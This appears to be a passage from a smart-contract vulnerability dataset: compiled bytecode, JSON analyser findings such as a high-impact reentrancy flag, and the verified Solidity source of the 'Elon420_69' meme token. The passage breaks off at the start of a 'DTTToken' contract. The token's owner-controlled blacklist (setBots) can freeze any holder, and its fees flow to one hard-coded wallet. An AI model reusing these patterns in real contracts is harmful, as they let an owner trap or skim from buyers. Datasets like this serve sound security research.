5060005b8181101561071a576106f5816108a1565b83828151811061070157fe5b60200260200101818152505080806001019150506106e4565b5061072482610bcd565b9250505090565b620f4240670de0b6b3a76400008161073f57fe5b0481565b64e8d4a51000670de0b6b3a76400008161075957fe5b0481565b6064670de0b6b3a76400000281565b60016003670de0b6b3a76400008161078057fe5b040181565b6060600180548060200260200160405190810160405280929190818152602001828054801561080957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116107bf575b5050505050905090565b600881565b6002818154811061082557fe5b906000526020600020016000915090505481565b600281565b600181565b600a670de0b6b3a76400008161085557fe5b0481565b6001670de0b6b3a76400006002020381565b670de0b6b3a764000081565b600081565b6032670de0b6b3a76400000281565b6002670de0b6b3a76400008161089d57fe5b0481565b600080600383815481106108b157fe5b90600052602060002090602091828204019190069054906101000a900460ff166109bc57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b3596f076001858154811061092057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401610967919061127b565b60206040518083038186803b15801561097f57600080fd5b505afa158015610993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b79190610fae565b6109c6565b670de0b6b3a76400005b905060008111610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a02906113ab565b60405180910390fd5b600060048481548110610a1a57fe5b90600052602060002090602091828204019190069054906101000a900460ff1660120360ff1690506000610bb760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b64ef17b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610aad57600080fd5b505afa158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae59190610f5c565b73ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f60018881548110610b0d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401610b54919061127b565b60206040518083038186803b158015610b6c57600080fd5b505afa158015610b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba49190610fae565b83600a0a670de0b6b3a764000002610ccc565b9050610bc38184610ccc565b9350505050919050565b600080600090506000600180549050905060005b818160ff161015610c1b57610c0c83868360ff1681518110610bff57fe5b6020026020010151610da8565b92508080600101915050610be1565b50610cc38260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8657600080fd5b505afa158015610c9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbe9190610fae565b610dfd565b92505050919050565b60008082840290506000841480610ceb575082848281610ce857fe5b04145b610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d219061134b565b60405180910390fd5b60006002670de0b6b3a764000081610d3e57fe5b048201905081811015610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d9061134b565b60405180910390fd5b6000670de0b6b3a76400008281610d9957fe5b04905080935050505092915050565b600080828401905083811015610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea9061138b565b60405180910390fd5b8091505092915050565b600080821415610e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e399061136b565b60405180910390fd5b6000670de0b6b3a7640000840290506000841480610e705750670de0b6b3a7640000848281610e6d57fe5b04145b610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea69061132b565b60405180910390fd5b600060028481610ebb57fe5b048201905081811015610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa9061132b565b60405180910390fd5b6000848281610f0e57fe5b04905080935050505092915050565b600081519050610f2c81611533565b92915050565b600081359050610f418161154a565b92915050565b600081519050610f568161154a565b92915050565b600060208284031215610f6e57600080fd5b6000610f7c84828501610f1d565b91505092915050565b600060208284031215610f9757600080fd5b6000610fa584828501610f32565b91505092915050565b600060208284031215610fc057600080fd5b6000610fce84828501610f47565b91505092915050565b6000610fe38383611007565b60208301905092915050565b6000610ffb838361124e565b60208301905092915050565b61101081611484565b82525050565b61101f81611484565b82525050565b600061103082611421565b61103a8185611451565b935061104583611401565b8060005b8381101561107657815161105d8882610fd7565b975061106883611437565b925050600181019050611049565b5085935050505092915050565b600061108e8261142c565b6110988185611462565b93506110a383611411565b8060005b838110156110d45781516110bb8882610fef565b97506110c683611444565b9250506001810190506110a7565b5085935050505092915050565b6110ea81611496565b82525050565b6110f9816114eb565b82525050565b6111088161150f565b82525050565b600061111b601083611473565b91507f4552525f4449565f494e5445524e414c000000000000000000000000000000006000830152602082019050919050565b600061115b601083611473565b91507f4552525f4d554c5f4f564552464c4f57000000000000000000000000000000006000830152602082019050919050565b600061119b600c83611473565b91507f4552525f4449565f5a45524f00000000000000000000000000000000000000006000830152602082019050919050565b60006111db601083611473565b91507f4552525f4144445f4f564552464c4f57000000000000000000000000000000006000830152602082019050919050565b600061121b601383611473565b91507f4552525f4e4f5f4f5241434c455f5052494345000000000000000000000000006000830152602082019050919050565b611257816114d4565b82525050565b611266816114d4565b82525050565b611275816114de565b82525050565b60006020820190506112906000830184611016565b92915050565b600060208201905081810360008301526112b08184611025565b905092915050565b600060208201905081810360008301526112d28184611083565b905092915050565b60006020820190506112ef60008301846110e1565b92915050565b600060208201905061130a60008301846110f0565b92915050565b600060208201905061132560008301846110ff565b92915050565b600060208201905081810360008301526113448161110e565b9050919050565b600060208201905081810360008301526113648161114e565b9050919050565b600060208201905081810360008301526113848161118e565b9050919050565b600060208201905081810360008301526113a4816111ce565b9050919050565b600060208201905081810360008301526113c48161120e565b9050919050565b60006020820190506113e0600083018461125d565b92915050565b60006020820190506113fb600083018461126c565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600061148f826114b4565b9050919050565b60008115159050919050565b60006114ad82611484565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006114f6826114fd565b9050919050565b6000611508826114b4565b9050919050565b600061151a82611521565b9050919050565b600061152c826114b4565b9050919050565b61153c816114a2565b811461154757600080fd5b50565b611553816114d4565b811461155e57600080fd5b5056fea2646970667358221220a636a1ee62abaab7227ea05c59b25598d1ecb7183005a0f5877d4f0c6b45e69a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,675
0x7c638ac4bc0873a7169cb35dfdf89282cab1afcf
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ /* From Elon's lastest tweeted https://twitter.com/elonmusk/status/1460062031084761090 ELon420+69 https://t.me/Elon420_69 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Elon420_69 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "@Elon420_69"; string private constant _symbol = "420_69"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xB5eFE212Fc0a90561f137150601EaB11B4499505); _feeAddrWallet2 = payable(0xB5eFE212Fc0a90561f137150601EaB11B4499505); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f4578063c3c8cd8014610314578063c9567bf914610329578063dd62ed3e1461033e578063ff8726021461038457600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d457600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a40456c6f6e3432305f363960a81b60208201525b6040516101569190611833565b60405180910390f35b34801561016b57600080fd5b5061017f61017a3660046116dc565b610399565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d036600461169c565b6103b0565b3480156101e157600080fd5b506101f56101f036600461162c565b610419565b005b34801561020357600080fd5b5060405160098152602001610156565b34801561021f57600080fd5b506101f561022e3660046117ce565b61046d565b34801561023f57600080fd5b506101f56104b5565b34801561025457600080fd5b506101a761026336600461162c565b6104e2565b34801561027457600080fd5b506101f5610504565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b157600080fd5b506040805180820190915260068152653432305f363960d01b6020820152610149565b3480156102e057600080fd5b5061017f6102ef3660046116dc565b610578565b34801561030057600080fd5b506101f561030f366004611707565b610585565b34801561032057600080fd5b506101f5610629565b34801561033557600080fd5b506101f561065f565b34801561034a57600080fd5b506101a7610359366004611664565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561039057600080fd5b506101f5610a23565b60006103a6338484610a5c565b5060015b92915050565b60006103bd848484610b80565b61040f843361040a85604051806060016040528060288152602001611a04602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ecd565b610a5c565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161044390611886565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104975760405162461bcd60e51b815260040161044390611886565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d557600080fd5b476104df81610f07565b50565b6001600160a01b0381166000908152600260205260408120546103aa90610f8c565b6000546001600160a01b0316331461052e5760405162461bcd60e51b815260040161044390611886565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a6338484610b80565b6000546001600160a01b031633146105af5760405162461bcd60e51b815260040161044390611886565b60005b8151811015610625576001600660008484815181106105e157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061d81611999565b9150506105b2565b5050565b600c546001600160a01b0316336001600160a01b03161461064957600080fd5b6000610654306104e2565b90506104df81611010565b6000546001600160a01b031633146106895760405162461bcd60e51b815260040161044390611886565b600f54600160a01b900460ff16156106e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107203082683635c9adc5dea00000610a5c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075957600080fd5b505afa15801561076d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107919190611648565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611648565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085957600080fd5b505af115801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611648565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108c1816104e2565b6000806108d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093957600080fd5b505af115801561094d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109729190611806565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109eb57600080fd5b505af11580156109ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062591906117ea565b6000546001600160a01b03163314610a4d5760405162461bcd60e51b815260040161044390611886565b683635c9adc5dea00000601055565b6001600160a01b038316610abe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610b1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610c465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610ca85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6002600a556008600b556000546001600160a01b03848116911614801590610cde57506000546001600160a01b03838116911614155b15610ebd576001600160a01b03831660009081526006602052604090205460ff16158015610d2557506001600160a01b03821660009081526006602052604090205460ff16155b610d2e57600080fd5b600f546001600160a01b038481169116148015610d595750600e546001600160a01b03838116911614155b8015610d7e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d935750600f54600160b81b900460ff165b15610df057601054811115610da757600080fd5b6001600160a01b0382166000908152600760205260409020544211610dcb57600080fd5b610dd642601e61192b565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e1b5750600e546001600160a01b03848116911614155b8015610e4057506001600160a01b03831660009081526005602052604090205460ff16155b15610e50576002600a908155600b555b6000610e5b306104e2565b600f54909150600160a81b900460ff16158015610e865750600f546001600160a01b03858116911614155b8015610e9b5750600f54600160b01b900460ff165b15610ebb57610ea981611010565b478015610eb957610eb947610f07565b505b505b610ec88383836111b5565b505050565b60008184841115610ef15760405162461bcd60e51b81526004016104439190611833565b506000610efe8486611982565b95945050505050565b600c546001600160a01b03166108fc610f218360026111c0565b6040518115909202916000818181858888f19350505050158015610f49573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f648360026111c0565b6040518115909202916000818181858888f19350505050158015610625573d6000803e3d6000fd5b6000600854821115610ff35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b6000610ffd611202565b905061100983826111c0565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110ba57600080fd5b505afa1580156110ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f29190611648565b8160018151811061111357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111399130911684610a5c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111729085906000908690309042906004016118bb565b600060405180830381600087803b15801561118c57600080fd5b505af11580156111a0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610ec8838383611225565b600061100983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131c565b600080600061120f61134a565b909250905061121e82826111c0565b9250505090565b6000806000806000806112378761138c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061126990876113e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611298908661142b565b6001600160a01b0389166000908152600260205260409020556112ba8161148a565b6112c484836114d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161130991815260200190565b60405180910390a3505050505050505050565b6000818361133d5760405162461bcd60e51b81526004016104439190611833565b506000610efe8486611943565b6008546000908190683635c9adc5dea0000061136682826111c0565b82101561138357505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006113a98a600a54600b546114f8565b92509250925060006113b9611202565b905060008060006113cc8e87878761154d565b919e509c509a509598509396509194505050505091939550919395565b600061100983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecd565b600080611438838561192b565b9050838110156110095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b6000611494611202565b905060006114a2838361159d565b306000908152600260205260409020549091506114bf908261142b565b30600090815260026020526040902055505050565b6008546114e190836113e9565b6008556009546114f1908261142b565b6009555050565b6000808080611512606461150c898961159d565b906111c0565b90506000611525606461150c8a8961159d565b9050600061153d826115378b866113e9565b906113e9565b9992985090965090945050505050565b600080808061155c888661159d565b9050600061156a888761159d565b90506000611578888861159d565b9050600061158a8261153786866113e9565b939b939a50919850919650505050505050565b6000826115ac575060006103aa565b60006115b88385611963565b9050826115c58583611943565b146110095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b8035611627816119e0565b919050565b60006020828403121561163d578081fd5b8135611009816119e0565b600060208284031215611659578081fd5b8151611009816119e0565b60008060408385031215611676578081fd5b8235611681816119e0565b91506020830135611691816119e0565b809150509250929050565b6000806000606084860312156116b0578081fd5b83356116bb816119e0565b925060208401356116cb816119e0565b929592945050506040919091013590565b600080604083850312156116ee578182fd5b82356116f9816119e0565b946020939093013593505050565b60006020808385031215611719578182fd5b823567ffffffffffffffff80821115611730578384fd5b818501915085601f830112611743578384fd5b813581811115611755576117556119ca565b8060051b604051601f19603f8301168101818110858211171561177a5761177a6119ca565b604052828152858101935084860182860187018a1015611798578788fd5b8795505b838610156117c1576117ad8161161c565b85526001959095019493860193860161179c565b5098975050505050505050565b6000602082840312156117df578081fd5b8135611009816119f5565b6000602082840312156117fb578081fd5b8151611009816119f5565b60008060006060848603121561181a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561185f57858101830151858201604001528201611843565b818111156118705783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561190a5784516001600160a01b0316835293830193918301916001016118e5565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561193e5761193e6119b4565b500190565b60008261195e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561197d5761197d6119b4565b500290565b600082821015611994576119946119b4565b500390565b60006000198214156119ad576119ad6119b4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104df57600080fd5b80151581146104df57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f9bf7ff1eaff79f154f968e6888ae5ca0b882187954bee0452d2cd3ba22d90064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,676
0xc7Fa3e81029a36BC7389c0166F01a968eC5873cD
pragma solidity ^0.4.20; contract DTTToken { // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, uint256 totalSupply, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "DTT TOKEN"; string public symbol = "DTT"; uint8 constant public decimals = 18; //uint8 constant internal dividendFee_ = 2; uint256 constant internal tokenPriceInitial_ = 0.000010 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000000010 ether; uint256 constant internal magnitude = 2**64; uint256 public percent = 75; address commissionHolder; // holds commissions fees address stakeHolder; // holds stake address dev2; // Marketing funds address dev3; // Advertisement funds address dev4; // Dev ops funds address dev5; // Management funds address dev6; // Server, admin and domain Management /*================================ = DATASETS = ================================*/ mapping(address => uint256) internal tokenBalanceLedger_; address sonk; uint256 internal tokenSupply_ = 0; // uint256 internal profitPerShare_; mapping(address => bool) public administrators; uint256 